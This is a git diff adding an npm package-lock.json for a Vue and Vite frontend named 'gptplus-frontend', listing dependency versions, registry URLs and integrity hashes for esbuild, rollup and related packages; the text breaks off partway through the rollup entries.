+ + + diff --git a/web/frontend/package-lock.json b/web/frontend/package-lock.json new file mode 100644 index 0000000..6cb9db3 --- /dev/null +++ b/web/frontend/package-lock.json @@ -0,0 +1,2123 @@ +{ + "name": "gptplus-frontend", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "gptplus-frontend", + "version": "1.0.0", + "dependencies": { + "@element-plus/icons-vue": "^2.3.0", + "axios": "^1.7.0", + "element-plus": "^2.9.0", + "pinia": "^3.0.0", + "vue": "^3.5.0", + "vue-router": "^4.5.0" + }, + "devDependencies": { + "@vitejs/plugin-vue": "^5.2.0", + "typescript": "~5.7.0", + "vite": "^6.2.0", + "vue-tsc": "^2.2.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.0.tgz", + "integrity": "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.0" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", + "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@ctrl/tinycolor": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@ctrl/tinycolor/-/tinycolor-4.2.0.tgz", + "integrity": "sha512-kzyuwOAQnXJNLS9PSyrk0CWk35nWJW/zl/6KvnTBMFK65gm7U1/Z5BqjxeapjZCIhQcM/DsrEmcbRwDyXyXK4A==", + "license": "MIT", + "engines": { + "node": ">=14" + } + }, + "node_modules/@element-plus/icons-vue": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/@element-plus/icons-vue/-/icons-vue-2.3.2.tgz", + "integrity": "sha512-OzIuTaIfC8QXEPmJvB4Y4kw34rSXdCJzxcD1kFStBvr8bK6X1zQAYDo0CNMjojnfTqRQCJ0I7prlErcoRiET2A==", + "license": "MIT", + "peerDependencies": { + "vue": "^3.2.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@floating-ui/core": { + "version": "1.7.5", + "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.7.5.tgz", + "integrity": "sha512-1Ih4WTWyw0+lKyFMcBHGbb5U5FtuHJuujoyyr5zTaWS5EYMeT6Jb2AuDeftsCsEuchO+mM2ij5+q9crhydzLhQ==", + "license": "MIT", + "dependencies": { + "@floating-ui/utils": "^0.2.11" + } + }, + "node_modules/@floating-ui/dom": { + "version": "1.7.6", + "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.7.6.tgz", + "integrity": "sha512-9gZSAI5XM36880PPMm//9dfiEngYoC6Am2izES1FF406YFsjvyBMmeJ2g4SAju3xWwtuynNRFL2s9hgxpLI5SQ==", + "license": "MIT", + "dependencies": { + "@floating-ui/core": "^1.7.5", + "@floating-ui/utils": "^0.2.11" + } + }, + "node_modules/@floating-ui/utils": { + "version": "0.2.11", + "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.11.tgz", + "integrity": "sha512-RiB/yIh78pcIxl6lLMG0CgBXAZ2Y0eVHqMPYugu+9U0AeT6YBeiJpf7lbdJNIugFP5SIjwNRgo4DhR1Qxi26Gg==", + "license": "MIT" + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "license": "MIT" + }, + "node_modules/@popperjs/core": { + "name": "@sxzz/popperjs-es", + "version": "2.11.8", + "resolved": "https://registry.npmjs.org/@sxzz/popperjs-es/-/popperjs-es-2.11.8.tgz", + "integrity": "sha512-wOwESXvvED3S8xBmcPWHs2dUuzrE4XiZeFu7e1hROIJkm02a49N120pmOXxY33sBb6hArItm5W5tcg1cBtV+HQ==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz", + "integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz", + "integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz", + "integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz", + "integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz", + "integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz", + "integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz", + "integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz", + "integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz", + "integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz", + "integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz", + "integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz", + "integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz", + "integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz", + "integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz", + "integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz", + "integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz", + "integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz", + "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz", + "integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz", + "integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz", + "integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz", + "integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.59.0", + "resolved": 